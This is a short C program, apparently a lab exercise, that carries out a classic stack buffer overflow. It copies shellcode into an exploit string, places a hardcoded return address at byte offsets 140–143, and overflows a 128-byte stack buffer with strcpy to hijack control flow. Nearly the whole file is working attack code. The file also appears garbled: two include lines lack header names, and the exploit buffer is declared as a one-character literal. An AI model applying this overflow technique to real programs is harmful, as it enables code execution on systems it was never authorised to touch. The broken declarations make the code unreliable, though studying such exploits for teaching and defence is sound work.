#include "shellcode.h" #include #include char exploit_string[] = " "; void load_shellcode_and_return(){ printf("Shellcode is at: %p\n", shellcode); char string_spot[128]; strcpy(exploit_string, shellcode); exploit_string[strlen(shellcode)] = ' '; printf("string_spot: %p\n", string_spot); exploit_string[140] = 0xa0; exploit_string[141] = 0xf6; exploit_string[142] = 0xff; exploit_string[143] = 0xbf; exploit_string[144] = 0; strcpy(string_spot, exploit_string); // This is the actual overflow } int main(){ load_shellcode_and_return(); }